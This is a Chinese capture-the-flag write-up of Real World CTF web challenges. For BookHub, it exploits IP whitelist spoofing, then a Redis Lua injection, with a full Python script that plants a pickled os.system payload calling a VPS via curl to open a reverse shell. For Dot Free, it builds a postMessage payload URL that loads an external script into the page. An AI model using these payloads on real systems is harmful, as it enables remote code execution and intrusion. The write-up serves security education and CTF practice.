内容简介:恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup
前言
恰逢暑假,听说长亭科技出题,于是尝试了一下,写下部分writeup
Advertisement
题目打开有点迷,没有任何东西
下意识的进行文件泄露探测
<a href="https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip"><code>https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip </code></a>
得到flag
BookHub
拿到题目后发现有源码泄露
<a href="http://52.52.4.252:8080/www.zip"><code>http://52.52.4.252:8080/www.zip </code></a>
下载下来后发现是flask框架写的
简单浏览了一下路由
发现大部分功能都是
@login_required
所以先尝试登陆
<a href="http://52.52.4.252:8080/login"><code>http://52.52.4.252:8080/login </code></a>
随手尝试一下,发现
于是去跟过滤
@user_blueprint.route('/login/', methods=['GET', 'POST']) def login(): form = LoginForm(data=flask.request.data) if form.validate_on_submit(): user = User.query.filter_by(username=form.username.data).first() login_user(user, remember=form.remember_me.data) return flask.redirect(flask.url_for('book.admin')) return flask.render_template('login.html', form=form)
跟到 LoginForm
class LoginForm(FlaskForm): username = StringField('username', validators=[DataRequired()]) password = PasswordField('password', validators=[DataRequired()]) remember_me = BooleanField('remember_me', default=False) def validate_password(self, field): address = get_remote_addr() whitelist = os.environ.get('WHITELIST_IPADDRESS', '127.0.0.1') # If you are in the debug mode or from office network (developer) if not app.debug and not ip_address_in(address, whitelist): raise StopValidation(f'your ip address isn't in the {whitelist}.') user = User.query.filter_by(username=self.username.data).first() if not user or not user.check_password(field.data): raise StopValidation('Username or password error.')
再跟到 get_remote_addr()
def get_remote_addr(): address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr) try: ipaddress.ip_address(address) except ValueError: return None else: return address
发现address来自于 X-Forwarded-For
,若不存在则来自于remote_addr
那么应该是可以使用XFF伪造ip了
我们本地测试一下
发现是可以伪造的,然而题目却怎么也不行= =(不知道什么鬼)
绝望之际,发现白名单中有一个公网ip
18.213.16.123
直接打开,是没有http服务的,随手测试了flask的默认端口,有点意思
原来这才是真正的大坑,这里网站直接跑在了debug模式
迅速去看代码里的
if app.debug:
发现
@login_required @user_blueprint.route('/admin/system/refresh_session/', methods=['POST']) def refresh_session():
我们尝试这个路由
添加csrf_token
发现refresh_session()竟然存在未授权访问
(至于为什么 @login_required 写了还能未授权访问?大概是因为 @login_required 写在上面了,仔细观察,别的都写在user_blueprint.route下面)
关注到后续代码
status = 'success' sessionid = flask.session.sid prefix = app.config['SESSION_KEY_PREFIX'] if flask.request.form.get('submit', None) == '1': try: rds.eval(rf''' local function has_value (tab, val) for index, value in ipairs(tab) do if value == val then return true end end return false end local inputs = {{ "{prefix}{sessionid}" }} local sessions = redis.call("keys", "{prefix}*") for index, sid in ipairs(sessions) do if not has_value(inputs, sid) then redis.call("del", sid) end end ''', 0) except redis.exceptions.ResponseError as e: app.logger.exception(e) status = 'fail'
这里明显使用了redis lua,看来是要在session上做文章了
我们发现代码中具有可控点sessionid
并且这里存在严重拼接问题
例如
我们可以闭合双引号,并引入恶意代码,让 redis 去执行
(注:f是 python 3.6的新特性,在2018MeePwnCTF曾出现过一道使用该特性的题目,不再赘述)
我们观察到构造方法
local inputs = {{ "{prefix}{sessionid}" }}
跟一下
prefix = app.config['SESSION_KEY_PREFIX']
发现
app.config['SESSION_KEY_PREFIX'] = 'bookhub:session:'
于是即可构造:
6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool
代码拼接后变成
$python3 main.py { "bookhub:session:6f17c248-ed0d-4d74-bba6-21b9342c854a",redis evilcode,"bookhub:session:skycool" }
显而易见,下面我们只需要思考构造 redis evilcode
即可
这里参考ph的两篇文章(当然要参考出题人写过的文章呀XD)
<a href="https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html">https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html</a> <a href="https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html">https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html </a>
redis.call("set","bookhub:session:skycool",反弹shell)
打完之后将自己的session改为skycool,刷新反弹shell即可
那么开始实操,我们先尝试一下curl
生成反弹shell payload代码如下
import cPickle import os class exp(object): def __reduce__(self): s = """curl vps_ip:23333""" return (os.system,(s,)) e = exp() s = cPickle.dumps(e) s_bypass = "" for i in s: s_bypass +="string.char(%s).."%ord(i) evilcode = ''' redis.call("set","bookhub:session:skycool",%s) '''%s_bypass[:-2] payload = ''' 6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool '''%evilcode print payload.replace(" ","")
然后
再然后去登录
发现自己的vps收到访问
此时眼泪哗的一下流了下来
同理反弹shell即可
Dot Free
题目乍一看仿佛是SSRF
于是我进行了一些测试,发现ip2long:
是可以请求的,但是我尝试了自己的vps,根本收不到请求
在迷茫之际,发现源代码中
window.addEventListener('message', function (e) { if (e.data.iframe) { if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) { if (e.data.iframe.type == "iframe") { lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent); } else { lls(e.data.iframe.value) } } } }, false); window.onload = function (ev) { postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*') }
相当可疑
于是我查阅了一下postMessage
<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage"><code>https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage </code></a>
发现
于是这进一步确实了我的想法
既然确定了问题点,那么肯定是构造payload进行测试
首先确定payload的输入点
decodeURIComponent(location.search.substr(1))
即
window.location window的location对象 search 得到的是url中?部分 substr() 返回一个从指定位置开始的指定长度的子字符串 这里设置为1,是为了把url中的?号去掉
于是可以确定format为
http://13.57.104.34/?payload
JSON.parse
说明要传入一个json_encode
那么根据题目的意图
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object'))
我们肯定是要bypass这段的,但是我们希望我们构造的payload是可以成功打到自己vps的
但是 //
不能使用,于是想到
http:/
这样的Bypass
并且不能使用dot,我们还是选择ip2long
然后进入if..else后
我们肯定希望程序进入
else { lls(e.data.iframe.value) }
因为
function lls(src) { var el = document.createElement('script'); if (el) { el.setAttribute('type', 'text/javascript'); el.src = src; document.body.appendChild(el); } };
document.body
即可触发恶意操作
于是构造
尝试
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433:23333%22}}
发现收到回显
下一步一气呵成
在自己的index.html中写入
然后再请求
http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\2130706433%22}}
即可收到
后记
我还是太年轻了,尽走弯路= =,感谢巨佬的中途carry,让我学到好多知识Orz
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
SOA & Web 2.0 -- 新商业语言
(美)Sandy Carter / 袁月杨、麻丽莉 / 清华大学出版社 / 2007 / 29.80元
在《SOA&Web 2.0:新商业语言》中,Sandy Calter示范了将企业解构为“组件化”业务模式的方法,然后用相互连接的、可重复的并且能快速、轻松、经济地适应各种变化的IT服务来支持该模式。这些技术将帮助IT专家和业务经理达到崭新的运营水平,以开展着眼于市场的创新,这才是最重要的。总而言之,企业必须实现灵活应对。直到最近,技术都一直阻碍着这些目标的实现。正是由于面向服务架构(SOA)、We......一起来看看 《SOA & Web 2.0 -- 新商业语言》 这本书的介绍吧!